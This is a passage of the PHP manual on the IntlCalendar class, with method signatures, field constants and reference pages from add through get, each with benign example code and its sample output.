public int getSkippedWallTimeOption ( void )
int intlcal_get_skipped_wall_time_option ( IntlCalendar $cal )
public float getTime ( void )
float intlcal_get_time ( IntlCalendar $cal )
public IntlTimeZone getTimeZone ( void )
IntlTimeZone intlcal_get_time_zone ( IntlCalendar $cal )
public string getType ( void )
string intlcal_get_type ( IntlCalendar $cal )
public int getWeekendTransition ( string $dayOfWeek )
int intlcal_get_weekend_transition ( IntlCalendar $cal , string $dayOfWeek )
public bool inDaylightTime ( void )
bool intlcal_in_daylight_time ( IntlCalendar $cal )
public bool isEquivalentTo ( IntlCalendar $other )
bool intlcal_is_equivalent_to ( IntlCalendar $cal , IntlCalendar $other )
public bool isLenient ( void )
bool intlcal_is_lenient ( IntlCalendar $cal )
public bool isSet ( int $field )
bool intlcal_is_set ( IntlCalendar $cal , int $field )
public bool isWeekend ([ float $date = NULL ] )
bool intlcal_is_weekend ( IntlCalendar $cal [, float $date = NULL ] )
public bool roll ( int $field , mixed $amountOrUpOrDown )
bool intlcal_roll ( IntlCalendar $cal , int $field , mixed $amountOrUpOrDown )
public bool set ( int $field , int $value )
public bool set ( int $year , int $month [, int $dayOfMonth = NULL [, int $hour = NULL [, int $minute = NULL [, int $second = NULL ]]]] )
bool intlcal_set ( IntlCalendar $cal , int $field , int $value )
bool intlcal_set ( IntlCalendar $cal , int $year , int $month [, int $dayOfMonth = NULL [, int $hour = NULL [, int $minute = NULL [, int $second = NULL ]]]] )
public bool setFirstDayOfWeek ( int $dayOfWeek )
bool intlcal_set_first_day_of_week ( IntlCalendar $cal , int $dayOfWeek )
public ReturnType setLenient ( string $isLenient )
ReturnType intlcal_set_lenient ( IntlCalendar $cal , string $isLenient )
public bool setMinimalDaysInFirstWeek ( int $minimalDays )
bool intlcal_get_minimal_days_in_first_week ( IntlCalendar $cal , int $minimalDays )
public bool setRepeatedWallTimeOption ( int $wallTimeOption )
bool intlcal_set_repeated_wall_time_option ( IntlCalendar $cal , int $wallTimeOption )
public bool setSkippedWallTimeOption ( int $wallTimeOption )
bool intlcal_set_skipped_wall_time_option ( IntlCalendar $cal , int $wallTimeOption )
public bool setTime ( float $date )
bool intlcal_set_time ( IntlCalendar $cal , float $date )
public bool setTimeZone ( mixed $timeZone )
bool intlcal_set_time_zone ( IntlCalendar $cal , mixed $timeZone )
public DateTime toDateTime ( void )
DateTime intlcal_to_date_time ( IntlCalendar $cal )
}

Predefined Constants

IntlCalendar::FIELD_ERA

Calendar field numerically representing an era, for instance 1 for AD and 0 for BC in the Gregorian/Julian calendars and 235 for the Heisei (平成) era in the Japanese calendar. Not all calendars have more than one era.

IntlCalendar::FIELD_YEAR

Calendar field for the year. This is not unique across eras. If the calendar type has more than one era, generally the minimum value for this field will be 1.

IntlCalendar::FIELD_MONTH

Calendar field for the month. The month sequence is zero-based, so Janurary (here used to signify the first month of the calendar; this may be called another name, such as Muharram in the Islamic calendar) is represented by 0, February by 1, …, December by 11 and, for calendars that have it, the 13th or leap month by 12.

IntlCalendar::FIELD_WEEK_OF_YEAR

Calendar field for the number of the week of the year. This depends on which day of the week is deemed to start the week and the minimal number of days in a week.

IntlCalendar::FIELD_WEEK_OF_MONTH

Calendar field for the number of the week of the month. This depends on which day of the week is deemed to start the week and the minimal number of days in a week.

IntlCalendar::FIELD_DATE

Calendar field for the day of the month. The same as IntlCalendar::FIELD_DAY_OF_MONTH, which has a clearer name.

IntlCalendar::FIELD_DAY_OF_YEAR

Calendar field for the day of the year. For the Gregorian calendar, starts with 1 and ends with 365 or 366.

IntlCalendar::FIELD_DAY_OF_WEEK

Calendar field for the day of the week. Its values start with 1 (Sunday, see IntlCalendar::DOW_SUNDAY and subsequent constants) and the last valid value is 7 (Saturday).

IntlCalendar::FIELD_DAY_OF_WEEK_IN_MONTH

Given a day of the week (Sunday, Monday, …), this calendar field assigns an ordinal to such a day of the week in a specific month. Thus, if the value of this field is 1 and the value of the day of the week is 2 (Monday), then the set day of the month is the 1st Monday of the month; the maximum value is 5.

Additionally, the value 0 and negative values are also allowed. The value 0 encompasses the seven days that occur immediately before the first seven days of a month (which therefore have a ‘day of week in month’ with value 1). Negative values starts counting from the end of the month – -1 points to the last occurrence of a day of the week in a month, -2 to the second last, and so on.

Unlike IntlCalendar::FIELD_WEEK_OF_MONTH and IntlCalendar::FIELD_WEEK_OF_YEAR, this value does not depend on IntlCalendar::getFirstDayOfWeek() or on IntlCalendar::getMinimalDaysInFirstWeek(). The first Monday is the first Monday, even if it occurs in a week that belongs to the previous month.

IntlCalendar::FIELD_AM_PM

Calendar field indicating whether a time is before noon (value 0, AM) or after (1). Midnight is AM, noon is PM.

IntlCalendar::FIELD_HOUR

Calendar field for the hour, without specifying whether itʼs in the morning or in the afternoon. Valid values are 0 to 11.

IntlCalendar::FIELD_HOUR_OF_DAY

Calendar field for the full (24h) hour of the day. Valid values are 0 to 23.

IntlCalendar::FIELD_MINUTE

Calendar field for the minutes component of the time.

IntlCalendar::FIELD_SECOND

Calendar field for the seconds component of the time.

IntlCalendar::FIELD_MILLISECOND

Calendar field the milliseconds component of the time.

IntlCalendar::FIELD_ZONE_OFFSET

Calendar field indicating the raw offset of the timezone, in milliseconds. The raw offset is the timezone offset, excluding any offset due to daylight saving time.

IntlCalendar::FIELD_DST_OFFSET

Calendar field for the daylight saving time offset of the calendarʼs timezone, in milliseconds, if active for calendarʼs time.

IntlCalendar::FIELD_YEAR_WOY

Calendar field representing the year for week of year purposes.

IntlCalendar::FIELD_DOW_LOCAL

Calendar field for the localized day of the week. This is a value betwen 1 and 7, 1 being used for the day of the week that matches the value returned by IntlCalendar::getFirstDayOfWeek().

IntlCalendar::FIELD_EXTENDED_YEAR

Calendar field for a year number representation that is continuous across eras. For the Gregorian calendar, the value of this field matches that of IntlCalendar::FIELD_YEAR for AD years; a BC year y is represented by -y + 1.

IntlCalendar::FIELD_JULIAN_DAY

Calendar field for a modified Julian day number. It is different from a conventional Julian day number in that its transitions occur at local zone midnight rather than at noon UTC. It uniquely identifies a date.

IntlCalendar::FIELD_MILLISECONDS_IN_DAY

Calendar field encompassing the information in IntlCalendar::FIELD_HOUR_OF_DAY, IntlCalendar::FIELD_MINUTE, IntlCalendar::FIELD_SECOND and IntlCalendar::FIELD_MILLISECOND. Range is from the 0 to 24 * 3600 * 1000 - 1. It is not the amount of milliseconds ellapsed in the day since on DST transitions it will have discontinuities analog to those of the wall time.

IntlCalendar::FIELD_IS_LEAP_MONTH

Calendar field whose value is 1 for indicating a leap month and 0 otherwise.

IntlCalendar::FIELD_FIELD_COUNT

The total number of fields.

IntlCalendar::FIELD_DAY_OF_MONTH

Alias for IntlCalendar::FIELD_DATE.

IntlCalendar::DOW_SUNDAY

Sunday.

IntlCalendar::DOW_MONDAY

Monday.

IntlCalendar::DOW_TUESDAY

Tuesday.

IntlCalendar::DOW_WEDNESDAY

Wednesday.

IntlCalendar::DOW_THURSDAY

Thursday.

IntlCalendar::DOW_FRIDAY

Friday.

IntlCalendar::DOW_SATURDAY

Saturday.

IntlCalendar::DOW_TYPE_WEEKDAY

Output of IntlCalendar::getDayOfWeekType() indicating a day of week is a weekday.

IntlCalendar::DOW_TYPE_WEEKEND

Output of IntlCalendar::getDayOfWeekType() indicating a day of week belongs to the weekend.

IntlCalendar::DOW_TYPE_WEEKEND_OFFSET

Output of IntlCalendar::getDayOfWeekType() indicating the weekend begins during the given day of week.

IntlCalendar::DOW_TYPE_WEEKEND_CEASE

Output of IntlCalendar::getDayOfWeekType() indicating the weekend ends during the given day of week.

IntlCalendar::WALLTIME_FIRST

Output of IntlCalendar::getSkippedWallTimeOption() indicating that wall times in the skipped range should refer to the same instant as wall times with one hour less and of IntlCalendar::getRepeatedWallTimeOption() indicating the wall times in the repeated range should refer to the instant of the first occurrence of such wall time.

IntlCalendar::WALLTIME_LAST

Output of IntlCalendar::getSkippedWallTimeOption() indicating that wall times in the skipped range should refer to the same instant as wall times with one hour after and of IntlCalendar::getRepeatedWallTimeOption() indicating the wall times in the repeated range should refer to the instant of the second occurrence of such wall time.

IntlCalendar::WALLTIME_NEXT_VALID

Output of IntlCalendar::getSkippedWallTimeOption() indicating that wall times in the skipped range should refer to the instant when the daylight saving time transition occurs (begins).

Table of Contents

  • IntlCalendar::add — Add a (signed) amount of time to a field
  • IntlCalendar::after — Whether this objectʼs time is after that of the passed object
  • IntlCalendar::before — Whether this objectʼs time is before that of the passed object
  • IntlCalendar::clear — Clear a field or all fields
  • IntlCalendar::__construct — Private constructor for disallowing instantiation
  • IntlCalendar::createInstance — Create a new IntlCalendar
  • IntlCalendar::equals — Compare time of two IntlCalendar objects for equality
  • IntlCalendar::fieldDifference — Calculate difference between given time and this objectʼs time
  • IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string
  • IntlCalendar::get — Get the value for a field
  • IntlCalendar::getActualMaximum — The maximum value for a field, considering the objectʼs current time
  • IntlCalendar::getActualMinimum — The minimum value for a field, considering the objectʼs current time
  • IntlCalendar::getAvailableLocales — Get array of locales for which there is data
  • IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two
  • IntlCalendar::getErrorCode — Get last error code on the object
  • IntlCalendar::getErrorMessage — Get last error message on the object
  • IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendarʼs locale
  • IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field
  • IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values
  • IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field
  • IntlCalendar::getLocale — Get the locale associated with the object
  • IntlCalendar::getMaximum — Get the global maximum value for a field
  • IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have
  • IntlCalendar::getMinimum — Get the global minimum value for a field
  • IntlCalendar::getNow — Get number representing the current time
  • IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time
  • IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time
  • IntlCalendar::getTime — Get time currently represented by the object
  • IntlCalendar::getTimeZone — Get the objectʼs timezone
  • IntlCalendar::getType — Get the calendar type
  • IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends
  • IntlCalendar::inDaylightTime — Whether the objectʼs time is in Daylight Savings Time
  • IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time
  • IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode
  • IntlCalendar::isSet — Whether a field is set
  • IntlCalendar::isWeekend — Whether a certain date/time is in the weekend
  • IntlCalendar::roll — Add value to field without carrying into more significant fields
  • IntlCalendar::set — Set a time field or several common fields at once
  • IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start
  • IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient
  • IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have
  • IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions
  • IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions
  • IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch
  • IntlCalendar::setTimeZone — Set the timezone used by this calendar
  • IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object

User Contributed Notes

There are no user contributed notes for this page.


Add a (signed) amount of time to a field

  • « IntlCalendar
  • IntlCalendar::after »
  • PHP Manual
  • IntlCalendar
  • Add a (signed) amount of time to a field

IntlCalendar::add

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::add — Add a (signed) amount of time to a field

Description

Object oriented style

public bool IntlCalendar::add ( int $field , int $amount )

Procedural style

bool intlcal_add ( IntlCalendar $cal , int $field , int $amount )

Add a signed amount to a field. Adding a positive amount allows advances in time, even if the numeric value of the field decreases (e.g. when working with years in BC dates).

Other fields may need to adjusted – for instance, adding a month to the 31st of January will result in the 28th (or 29th) of February. Contrary to IntlCalendar::roll(), when a value wraps around, more significant fields may change. For instance, adding a day to the 31st of January will result in the 1st of February, not the 1st of Janurary.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

amount

The signed amount to add to the current field. If the amount is positive, the instant will be moved forward; if it is negative, the instant wil be moved into the past. The unit is implicit to the field type. For instance, hours for IntlCalendar::FIELD_HOUR_OF_DAY.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 IntlCalendar::add()

<?php
ini_set('intl.default_locale', 'fr_FR');
ini_set('date.timezone', 'UTC');

$cal = new IntlGregorianCalendar(2012, 0 /* January */, 31);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

$cal->add(IntlCalendar::FIELD_DAY_OF_MONTH, 1);
echo IntlDateFormatter::formatObject($cal), "\n";

The above example will output:

31 janv. 2012 00:00:00
29 févr. 2012 00:00:00
1 mars 2012 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Whether this objectʼs time is after that of the passed object

  • « IntlCalendar::add
  • IntlCalendar::before »
  • PHP Manual
  • IntlCalendar
  • Whether this objectʼs time is after that of the passed object

IntlCalendar::after

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::after — Whether this objectʼs time is after that of the passed object

Description

Object oriented style

public bool IntlCalendar::after ( IntlCalendar $other )

Procedural style

bool intlcal_after ( IntlCalendar $cal , IntlCalendar $other )

Returns whether this objectʼs time succeeds the argumentʼs time.

Parameters

cal

The IntlCalendar resource.

other

The calendar whose time will be checked against the primary objectʼs time.

Return Values

Returns TRUE if this objectʼs current time is after that of the calendar argumentʼs time. Returns FALSE otherwise. Also returns FALSE on failure. You can use exceptions or intl_get_error_code() to detect error conditions.

Examples

Example #1 IntlCalendar::after()

<?php
$cal1 = IntlCalendar::createInstance();
$cal2 = clone $cal1;

var_dump($cal1->after($cal2), //false
        $cal2->after($cal1)); //false

$cal1->roll(IntlCalendar::FIELD_MILLISECOND, true);

var_dump($cal1->after($cal2), //true
        $cal2->after($cal1)); //false

User Contributed Notes

There are no user contributed notes for this page.


Whether this objectʼs time is before that of the passed object

  • « IntlCalendar::after
  • IntlCalendar::clear »
  • PHP Manual
  • IntlCalendar
  • Whether this objectʼs time is before that of the passed object

IntlCalendar::before

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::before — Whether this objectʼs time is before that of the passed object

Description

Object oriented style

public bool IntlCalendar::before ( IntlCalendar $other )

Procedural style

bool intlcal_before ( IntlCalendar $cal , IntlCalendar $other )

Returns whether this objectʼs time precedes the argumentʼs time.

Parameters

cal

The IntlCalendar resource.

other

The calendar whose time will be checked against the primary objectʼs time.

Return Values

Returns TRUE if this objectʼs current time is before that of the calendar argumentʼs time. Returns FALSE otherwise. Also returns FALSE on failure. You can use exceptions or intl_get_error_code() to detect error conditions.

User Contributed Notes

There are no user contributed notes for this page.


Clear a field or all fields

  • « IntlCalendar::before
  • IntlCalendar::__construct »
  • PHP Manual
  • IntlCalendar
  • Clear a field or all fields

IntlCalendar::clear

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::clear — Clear a field or all fields

Description

Object oriented style

public bool IntlCalendar::clear ([ int $field = NULL ] )

Procedural style

bool intlcal_clear ( IntlCalendar $cal [, int $field = NULL ] )

Clears either all of the fields or a specific field. A cleared field is marked as unset, giving it the lowest priority against overlapping fields or even default values when calculating the time. Additionally, its value is set to 0, though given the fieldʼs low priority, its value may have been internally set to another value by the time the field has finished been queried.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

Returns TRUE on success or FALSE on failure. Failure can only occur is invalid arguments are provided.

Examples

Example #1 IntlCalendar::clear() examples

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'UTC');

$fields = array(
    'FIELD_ERA'                  => 0,
    'FIELD_YEAR'                 => 1,
    'FIELD_MONTH'                => 2,
    'FIELD_WEEK_OF_YEAR'         => 3,
    'FIELD_WEEK_OF_MONTH'        => 4,
    'FIELD_DATE'                 => 5,
    'FIELD_DAY_OF_YEAR'          => 6,
    'FIELD_DAY_OF_WEEK'          => 7,
    'FIELD_DAY_OF_WEEK_IN_MONTH' => 8,
    'FIELD_AM_PM'                => 9,
    'FIELD_HOUR'                 => 10,
    'FIELD_HOUR_OF_DAY'          => 11,
    'FIELD_MINUTE'               => 12,
    'FIELD_SECOND'               => 13,
    'FIELD_MILLISECOND'          => 14,
    'FIELD_ZONE_OFFSET'          => 15,
    'FIELD_DST_OFFSET'           => 16,
    'FIELD_YEAR_WOY'             => 17,
    'FIELD_DOW_LOCAL'            => 18,
    'FIELD_EXTENDED_YEAR'        => 19,
    'FIELD_JULIAN_DAY'           => 20,
    'FIELD_MILLISECONDS_IN_DAY'  => 21,
    'FIELD_IS_LEAP_MONTH'        => 22,
    'FIELD_FIELD_COUNT'          => 23,
);
function getSetFields(IntlCalendar $cal) {
    global $fields;
    $ret = array();
    foreach ($fields as $name => $value) {
        if ($cal->isSet($value)) {
            $ret[] = $name;
        }
    }
    return $ret;
}

$cal = new IntlGregorianCalendar(2013, 2 /* March */, 15);
echo "After GregorianCalendar creation\n";
print_r(getSetFields($cal));
echo "\n";

echo IntlDateFormatter::formatObject($cal), "\n";
echo "After the formatter requested the extended year\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear(IntlCalendar::FIELD_YEAR);
echo "After the year has been cleared, the date stays the same\n";
echo IntlDateFormatter::formatObject($cal), "\n";
echo "because FIELD_EXTENDED_YEAR is still set\n";
print_r(getSetFields($cal));
echo "\n";

var_dump($cal->clear(IntlCalendar::FIELD_EXTENDED_YEAR));
echo "After the extended year has been cleared\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";
echo "\n";

echo "After the fields are recalculated,\n"
        . " extended year is set again (to 1970)\n";
print_r(getSetFields($cal));
echo "\n";

$cal->clear();
echo "After calling variant with no arguments\n";
print_r(getSetFields($cal));
echo IntlDateFormatter::formatObject($cal), "\n";

The above example will output:

After GregorianCalendar creation
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
)

15/03/2013 00:00:00
After the formatter requested the extended year
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_YEAR
    [2] => FIELD_MONTH
    [3] => FIELD_DATE
    [4] => FIELD_EXTENDED_YEAR
)

After the year has been cleared, the date stays the same
15/03/2013 00:00:00
because FIELD_EXTENDED_YEAR is still set
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

bool(true)
After the extended year has been cleared
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
)
15/03/1970 00:00:00

After the fields are recalculated,
 extended year is set again (to 1970)
Array
(
    [0] => FIELD_ERA
    [1] => FIELD_MONTH
    [2] => FIELD_DATE
    [3] => FIELD_EXTENDED_YEAR
)

After calling variant with no arguments
Array
(
)
01/01/1970 00:00:00

User Contributed Notes

There are no user contributed notes for this page.


Private constructor for disallowing instantiation

  • « IntlCalendar::clear
  • IntlCalendar::createInstance »
  • PHP Manual
  • IntlCalendar
  • Private constructor for disallowing instantiation

IntlCalendar::__construct

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::__construct — Private constructor for disallowing instantiation

Description

private IntlCalendar::__construct ( void )

A private constructor for disallowing instantiation with the new operator.

Call IntlCalendar::createInstance() instead.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Create a new IntlCalendar

  • « IntlCalendar::__construct
  • IntlCalendar::equals »
  • PHP Manual
  • IntlCalendar
  • Create a new IntlCalendar

IntlCalendar::createInstance

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::createInstance — Create a new IntlCalendar

Description

Object oriented style

public static IntlCalendar IntlCalendar::createInstance ([ mixed $timeZone = NULL [, string $locale = "" ]] )

Procedural style

IntlCalendar intlcal_create_instance ([ mixed $timeZone = NULL [, string $locale = "" ]] )

Given a timezone and locale, this method creates an IntlCalendar object. This factory method may return a subclass of IntlCalendar.

The calendar created will represent the time instance at which it was created, based on the system time. The fields can all be cleared by calling IntCalendar::clear() with no arguments. See also IntlGregorianCalendar::__construct().

Parameters

timeZone

The timezone to use.

  • NULL, in which case the default timezone will be used, as specified in the ini setting date.timezone or through the function date_default_timezone_set() and as returned by date_default_timezone_get().

  • An IntlTimeZone, which will be used directly.

  • A DateTimeZone. Its identifier will be extracted and an ICU timezone object will be created; the timezone will be backed by ICUʼs database, not PHPʼs.

  • A string, which should be a valid ICU timezone identifier. See IntlTimeZone::createTimeZoneIDEnumeration(). Raw offsets such as "GMT+08:30" are also accepted.

locale

A locale to use or NULL to use the default locale.

Return Values

The created IntlCalendar instance or NULL on failure.

Examples

Example #1 IntlCalendar::createInstance()

<?php
ini_set('intl.default_locale', 'es_ES');
ini_set('date.timezone', 'Europe/Madrid');

$cal = IntlCalendar::createInstance();
echo "No arguments\n";
var_dump(get_class($cal),
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Explicit timezone\n";
$cal = IntlCalendar::createInstance(IntlTimeZone::getGMT());
var_dump(get_class($cal),
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));
echo "\n";

echo "Explicit locale (with calendar)\n";
$cal = IntlCalendar::createInstance(NULL, 'es_ES@calendar=persian');
var_dump(get_class($cal),
        IntlDateFormatter::formatObject($cal, IntlDateFormatter::FULL));

The above example will output:

No arguments
string(21) "IntlGregorianCalendar"
string(68) "martes 18 de junio de 2013 14:11:02 Hora de verano de Europa Central"

Explicit timezone
string(21) "IntlGregorianCalendar"
string(45) "martes 18 de junio de 2013 12:11:02 GMT+00:00"

Explicit locale (with calendar)
string(12) "IntlCalendar"
string(70) "martes 28 de Khordad de 1392 14:11:02 Hora de verano de Europa Central"

See Also

  • IntlGregorianCalendar::__construct()

User Contributed Notes

There are no user contributed notes for this page.


Compare time of two IntlCalendar objects for equality

  • « IntlCalendar::createInstance
  • IntlCalendar::fieldDifference »
  • PHP Manual
  • IntlCalendar
  • Compare time of two IntlCalendar objects for equality

IntlCalendar::equals

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::equals — Compare time of two IntlCalendar objects for equality

Description

Object oriented style

public bool IntlCalendar::equals ( IntlCalendar $other )

Procedural style

bool intlcal_equals ( IntlCalendar $cal , IntlCalendar $other )

Returns true if this calendar and the given calendar have the same time. The settings, calendar types and field states do not have to be the same.

Parameters

cal

The IntlCalendar resource.

other

The calendar to compare with the primary object.

Return Values

Returns TRUE if the current time of both this and the passed in IntlCalendar object are the same, or FALSE otherwise. The value FALSE can also be returned on failure. This can only happen if bad arguments are passed in. In any case, the two cases can be distinguished by calling intl_get_error_code().

Examples

Example #1 IntlCalendar::equals()

<?php
ini_set('date.timezone', 'UTC');

$cal1 = IntlCalendar::createInstance(NULL, 'es_ES');
$cal2 = clone $cal1;

var_dump($cal1->equals($cal2)); //TRUE

//The locale is not included in the comparison
$cal2 = IntlCalendar::createInstance(NULL, 'pt_PT');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

//And set fields state is not included as well
$cal2->clear(IntlCalendar::FIELD_YEAR);
var_dump($cal1->isSet(IntlCalendar::FIELD_YEAR) ==
        $cal2->isSet(IntlCalendar::FIELD_YEAR)); //FALSE
var_dump($cal1->equals($cal2)); //TRUE

//Neither is the calendar type
$cal2 = IntlCalendar::createInstance(NULL, 'es_ES@calendar=islamic');
$cal2->setTime($cal1->getTime());
var_dump($cal1->equals($cal2)); //TRUE

//Only the time is
$cal2 = clone $cal1;
$cal2->setTime($cal1->getTime() + 1.);
var_dump($cal1->equals($cal2)); //FALSE

User Contributed Notes

There are no user contributed notes for this page.


Calculate difference between given time and this objectʼs time

  • « IntlCalendar::equals
  • IntlCalendar::fromDateTime »
  • PHP Manual
  • IntlCalendar
  • Calculate difference between given time and this objectʼs time

IntlCalendar::fieldDifference

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::fieldDifference — Calculate difference between given time and this objectʼs time

Description

Object oriented style

public int IntlCalendar::fieldDifference ( float $when , int $field )

Procedural style

int intlcal_field_difference ( IntlCalendar $cal , float $when , int $field )

Return the difference between the given time and the time this object is set to, with respect to the quantity specified the field parameter.

This method is meant to be called successively, first with the most significant field of interest down to the least significant field. To this end, as a side effect, this calendarʼs value for the field specified is advanced by the amount returned.

Parameters

cal

The IntlCalendar resource.

when

The time against which to compare the quantity represented by the field. For the result to be positive, the time given for this parameter must be ahead of the time of the object the method is being invoked on.

field

The field that represents the quantity being compared.

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

Returns a (signed) difference of time in the unit associated with the specified field or FALSE on failure.

Examples

Example #1 IntlCalendar::fieldDifference()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'fr_FR');

$cal1 = IntlCalendar::fromDateTime('2012-02-29 09:00:11');
$cal2 = IntlCalendar::fromDateTime('2013-03-01 09:19:29');
$time = $cal2->getTime();

echo "Time before: ", IntlDateFormatter::formatObject($cal1), "\n";

printf(
    "The difference in time is %d year(s), %d month(s), "
  . "%d day(s), %d hour(s) and %d minute(s)\n",
    $cal1->fieldDifference($time, IntlCalendar::FIELD_YEAR),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_MONTH),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_DAY_OF_MONTH),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_HOUR_OF_DAY),
    $cal1->fieldDifference($time, IntlCalendar::FIELD_MINUTE)
);

//now it was advanced to the target time, exception for the seconds,
//for which we did not measure the difference
echo "Time after: ", IntlDateFormatter::formatObject($cal1), "\n";

The above example will output:

Time before: 29 févr. 2012 09:00:11
The difference in time is 1 year(s), 0 month(s), 1 day(s), 0 hour(s) and 19 minute(s)
Time after: 1 mars 2013 09:19:11

User Contributed Notes

There are no user contributed notes for this page.


Create an IntlCalendar from a DateTime object or string

  • « IntlCalendar::fieldDifference
  • IntlCalendar::get »
  • PHP Manual
  • IntlCalendar
  • Create an IntlCalendar from a DateTime object or string

IntlCalendar::fromDateTime

(PHP 5.5.0, PECL >= 3.0.0a2)

IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string

Description

Object oriented style

public static IntlCalendar IntlCalendar::fromDateTime ( mixed $dateTime )

Procedural style

IntlCalendar intlcal_from_date_time ( mixed $dateTime )

Creates an IntlCalendar object either from a DateTime object or from a string from which a DateTime object can be built.

The new calendar will represent not only the same instant as the given DateTime (subject to precision loss for dates very far into the past or future), but also the same timezone (subject to the caveat that different timezone databases will be used, and therefore the results may differ).

Parameters

dateTime

A DateTime object or a string that can be passed to DateTime::__construct().

Return Values

The created IntlCalendar object or NULL in case of failure. If a string is passed, any exception that occurs inside the DateTime constructor is propagated.

Examples

Example #1 IntlCalendar::fromDateTime()

<?php
ini_set('date.timezone', 'Europe/Lisbon');

//same as IntlCalendar::fromDateTime(new DateTime(...))
$cal1 = IntlCalendar::fromDateTime('2013-02-28 00:01:02 Europe/Berlin');

//Note the timezone is Europe/Berlin, not the default Europe/Lisbon
echo IntlDateFormatter::formatObject($cal1, 'yyyy MMMM d HH:mm:ss VVVV', 'de_DE'), "\n";

The above example will output:

2013 Februar 28 00:01:02 Deutschland Zeit

User Contributed Notes

SenseException 23-Feb-2014 11:06
Don't forget that fromDateTime() doesn't set any locale and that the default one will be set. In my case it was en_US_POSIX.

If you wan't to create a IntlCalendar object containing the values of a DateTime object with your locale, use createInstance() instead and do a

<?php
$intlCalendar->setTime($dateTime->getTimestamp() * 1000);
?>

IntlCalendar works with milliseconds so you need to multiply the timestamp with 1000.

Using fromDateTime() can cause unwanted behaviour like getFirstDayOfWeek() returning a wrong integer.


Get the value for a field

  • « IntlCalendar::fromDateTime
  • IntlCalendar::getActualMaximum »
  • PHP Manual
  • IntlCalendar
  • Get the value for a field

IntlCalendar::get

(PHP 5.5.0, PECL >= 3.0.0a1)

IntlCalendar::get — Get the value for a field

Description

Object oriented style

public int IntlCalendar::get ( int $field )

Procedural style

int intlcal_get ( IntlCalendar> $cal , int $field )

Gets the value for a specific field.

Parameters

cal

The IntlCalendar resource.

field

One of the IntlCalendar date/time field constants. These are integer values between 0 and IntlCalendar::FIELD_COUNT.

Return Values

An integer with the value of the time field.

Examples

Example #1 IntlCalendar::get()

<?php
ini_set('date.timezone', 'Europe/Lisbon');
ini_set('intl.default_locale', 'en_US');

$class = new ReflectionClass('IntlCalendar');
$fields = array();
foreach ($class->getConstants() as $name => $val) {
    if (strpos($name, 'FIELD_') !== 0 || $val > 22)
        continue;
    $fields[$val] = $name;
}

$cal = IntlCalendar::createInstance(); // current time
var_dump(IntlDateFormatter::formatObject($cal));
foreach ($fields as $val => $name) {
    echo "$val ($name)", "\n    ", $cal->get($val), "\n";
}

The above example will output:

string(23) "Jul 1, 2013, 4:44:44 AM"
0 (FIELD_ERA)
    1
1 (FIELD_YEAR)
    2013
2 (FIELD_MONTH)
    6
3 (FIELD_WEEK_OF_YEAR)
    27
4 (FIELD_WEEK_OF_MONTH)
    1
5 (FIELD_DAY_OF_MONTH)
    1
6 (FIELD_DAY_OF_YEAR)
    182
7 (FIELD_DAY_OF_WEEK)
    2
8 (FIELD_DAY_OF_WEEK_IN_MONTH)
    1
9 (FIELD_AM_PM)
    0
10 (FIELD_HOUR)
    4
11 (FIELD_HOUR_OF_DAY)
    4
12 (FIELD_MINUTE)
